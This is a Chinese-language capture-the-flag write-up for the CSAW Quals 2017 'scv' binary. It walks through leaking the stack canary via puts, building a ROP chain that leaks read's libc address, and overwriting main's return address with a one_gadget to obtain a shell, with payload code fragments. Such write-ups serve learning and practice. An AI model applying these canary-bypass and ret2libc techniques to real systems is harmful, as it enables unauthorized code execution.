CSAW Quals CTF 2017-scv

1.常规checksec,开启了NX和Canary。打开IDA发现程序两个漏洞:

(1)功能1中栈溢出:

1
2
3
4
5
#注释头

char buf; // [rsp+10h] [rbp-B0h]
--------------------------------------
v25 = read(0, &buf, 0xF8uLL);

(2)功能2中输出字符串:puts(&buf);

注:这里的put和printf不是同一个概念,不是格式化字符串的函数。但是由于put是直接输出我们的输入,而我们的输入被保存在main函数栈上,所以可以输入足够多的数据连上canary,利用put一并打印出来,从而把canary泄露出来。

2.调试,IDA中观察位置,计算偏移,可以知道偏移为0xB0-0x8=0xA8=168个字符,(canary通常被放在rbp-0x08的位置处,当然也不一定,最好还是调试一下)这样就可以构造第一个payload:payload1 = ”A”*168 + “B”。

这里再加一个B是因为canary的保护机制,一般情况下canary的最后两位也就是最后一个字符都是\x00,由于是大端序,所以可以防止不小心把canary泄露出来。因为上一个栈内存的最后第一个字符连接的是下一个栈内存的第一个字符,也就是canary中的\x00,而打印函数默认00是字符串的结尾,所以这里如果输入”A”*168,那么打印出来的就只会是168个A,不会将canary带出来。所以我们再加一个B,覆盖掉canary在占内存的第一个字符00,从而能够连接上成为一个完整的字符串打印出来。但又由于是大端序,泄露出来的canary应该最后一个字符是B,对应\x42,这里需要修改成\x00从而获得正确的canary。同理,如果随机化的canary中含有\x00,那么仍然会导致字符串截断,无法得到正确的canary。所以其实如果多执行几次,碰到包含\x00的canary,就会导致程序出错。

泄露加修改:canary = u64(‘\x00’+io.recv(7))

3.之后就可以利用canary的值和栈溢出,调用put函数打印其它函数的实际地址。这里程序使用了read函数,并且同时外部调用了read函数,可以通过输入read的.got表的值,使其打印read函数的真实地址。同时需要注意的是,由于是64位程序,传参是从rdi开始,所以栈溢出的第一个返回地址应该给rdi赋值才对,编写payload1。

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

payload1 = ""
payload1 += "A"*168 #padding
payload1 += p64(canary) #在canary应该在的位置上写canary
payload1 += "B"*8 #这一段实际上是rbp的位置
payload1 += p64(pop_rdi)
#跳转到pop rdi;retn;所在语句(可以通过ROPgadget查询),来给rdi传入read函数的got表中的地址。
payload1 += p64(read_got) #被pop rdi语句调用,出栈
payload1 += p64(puts_plt)
#retn到put函数的plt表,调用put函数。
payload1 += p64(start)
#调用之后,返回程序最开始,恢复栈帧,再执行一遍程序

这样就可以得到read的实际地址,从而通过libc库计算偏移地址得到基地址。

5.现在有了libc库的基地址,观察main函数退出时的汇编代码:mov eax, 0可以使用在2.24libc库条件下可以使用onegadget。

6.直接计算onegadget偏移,然后覆盖main函数的返回地址,getshell。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157